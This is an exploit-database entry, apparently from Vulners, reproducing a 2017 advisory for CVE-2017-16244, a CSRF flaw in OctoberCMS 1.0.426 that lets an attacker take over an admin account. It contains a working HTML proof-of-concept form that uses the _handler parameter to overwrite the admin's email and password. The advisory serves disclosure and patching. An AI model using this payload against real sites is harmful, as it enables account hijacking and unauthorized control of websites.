OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery

🗓️ 01 Nov 2017 00:00:00Reported by Zain SabahatType

Security vulnerability in OctoberCMS 1.0.426 allowing CSRF attack resulting in admin account takeove

Reporter	Title	Published	Views	Family All 12
0day.today	OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery Vulnerability	1 Nov 201700:00	–	zdt
CNVD	OctoberCMS Cross-Site Request Forgery Vulnerability	25 Oct 201700:00	–	cnvd
CVE	CVE-2017-16244	1 Nov 201701:00	–	cve
Cvelist	CVE-2017-16244	1 Nov 201701:00	–	cvelist
EUVD	EUVD-2022-5379	3 Oct 202520:07	–	euvd
exploitpack	OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery	1 Nov 201700:00	–	exploitpack
Github Security Blog	October CMS CSRF	13 May 202201:24	–	github
NVD	CVE-2017-16244	1 Nov 201701:29	–	nvd
OSV	GHSA-VM6R-4P4V-232X October CMS CSRF	13 May 202201:24	–	osv
Packet Storm	OctoberCMS 1.0.426 (Build 426) Cross Site Request Forgery	2 Nov 201700:00	–	packetstorm

# Exploit Title: OctoberCMS 1.0.426 - CSRF to Admin Account Takover
# Vendor Homepage: https://octobercms.com
# Software Link: https://octobercms.com/download
# Exploit Author: Zain Sabahat
# Website: https://about.me/ZainSabahat
# Category: webapps
# CVE: CVE-2017-16244
 
1. Description

Cross-Site Request Forgery exists in OctoberCMS 1.0.426 (aka Build 426) due to improper validation of CSRF Tokens for postback handling, allowing an attacker to successfully take over the victim's account.
The vendor was using additional X-CSRF Headers and CSRF Token to prevent the CSRF from occurring.The researcher found a way to bypass this protection.After digging more in the Application he found a postback variable "_handler=" which could be used to perform CSRF without X-Headers.The CSRF Tokens were also not being validated when _handler parameter was used to make the request.
In short, this attack bypasses a protection mechanism involving X-CSRF headers and CSRF tokens via a certain _handler postback variable.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16244
https://vuldb.com/?id.108857 

2. Proof of Concept
 Below is the CSRF Exploit (.html) which can lead to the takeover of the Admin's Account upon successful execution.

<html>
  <body>
    <form action="http://host/backend/users/myaccount" method="POST">
      <input type="hidden" name="&#95;handler" value="onSave" />
      <input type="hidden" name="User&#91;login&#93;" value="Admin" />
      <input type="hidden" name="User&#91;email&#93;" value="Hacked&#64;hacked&#46;com" />
      <input type="hidden" name="User&#91;first&#95;name&#93;" value="Admin" />
      <input type="hidden" name="User&#91;last&#95;name&#93;" value="1337" />
      <input type="hidden" name="User&#91;password&#93;" value="YourNewPassword" />
      <input type="hidden" name="User&#91;password&#95;confirmation&#93;" value="YourNewPassword" />
      <input type="hidden" name="redirect" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Upon execution of this CSRF, the Admin Account details will be replaced by ours leading to complete hijacking of Admin Account.
 
3. Reference
 
   https://github.com/octobercms/october/commit/4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0
   https://vuldb.com/?id.108857

4. Solution
 
The vulnerability will be patched by the vendor in the next release of OctoberCMS.Following changes should be made for a temporary fix (https://github.com/octobercms/october/commit/4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0).

01 Nov 2017 00:00Current

8.8High risk

Vulners AI Score8.8

CVSS 26.8

CVSS 38.8

EPSS0.00403